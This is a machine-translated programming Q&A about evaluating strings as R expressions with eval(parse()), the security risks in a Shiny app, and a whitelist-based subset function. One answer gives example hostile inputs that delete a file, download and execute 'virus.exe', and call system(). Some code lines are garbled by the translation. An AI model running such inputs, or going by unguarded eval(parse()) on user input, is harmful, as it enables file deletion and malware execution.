R:对字符串求值
事实证明,有必要定义一个函数R:对字符串求值,r,metaprogramming,shiny,R,Metaprogramming,Shiny,事实证明,有必要定义一个函数eval_string,该函数将字符串作为表达式(/call)进行计算。例如,如果: string <- 'cyl == 6 & disp > 200' 相当于: eval(quote(cyl == 6 & disp > 200), mtcars) 这是我的尝试: eval_string <- function(string, ...) eval(parse(text = string), ...) 如果不对字符串进行解析
eval_string
,该函数将字符串作为表达式(/call)进行计算。例如,如果:
string <- 'cyl == 6 & disp > 200'
相当于:
eval(quote(cyl == 6 & disp > 200), mtcars)
这是我的尝试:
eval_string <- function(string, ...) eval(parse(text = string), ...)
如果不对字符串进行解析,就无法“计算”字符串(在当前意义上)。因此,如果您的输入是一个字符串,那么就无法避免parse
请参见subset.data.frame
,了解如何在没有字符串的情况下执行此操作
[[EDIT]]但是subset.data.frame基本上是
eval
-计算数据帧中的表达式。因此,如果出于某种原因,你对eval
和替换
(或者他们的朋友喜欢和内的)不满意,那么答案似乎是否定的。为了避免使用eval,我有一个闪亮的应用程序:
对任意用户输入的dat求值是eval(parse())
的合法用例。然而,出于安全考虑,我对此感到不舒服;请参阅示例,确保您可以假设字符串不包含任何类似于rm('importantFile.doc')
或donwnload.file('doc')的内容http://billgates.com/virus.exe'); shell.exec('virus.exe')
甚至系统('senate-money$1000-to hackers')
我不认为parse
在这个特定的用途上是不受欢迎的,因为人们倾向于在不必要的时候(错误地)使用它。在您的情况下,这似乎是必需的。关于@Roland的安全问题,RAppArmor包中有一个安全版本的eval(eval.secure),它在沙箱中执行,除非父进程拥有超级用户权限,否则无法行使超级用户权限。
eval_string <- function(string, ...) eval(parse(text = string), ...)
library(pryr)
subset_with_string <- function(string, data) {
expr <- parse(text = string)[[1]]
subset_calls <- c("==", "!=", "&", "|", ">", "<", ">=", "<=", "(")
legal_call <- all(fun_calls(expr) %in% subset_calls)
if (legal_call) {
data[eval(expr, data), ]
}
else {
stop('string does not induce a legal subset call to evaluate!')
}
}
subset_with_string("(cyl == 6 & hp > 100) | gear == 4", mtcars)
subset_with_string("rm('importantFile.doc')", mtcars)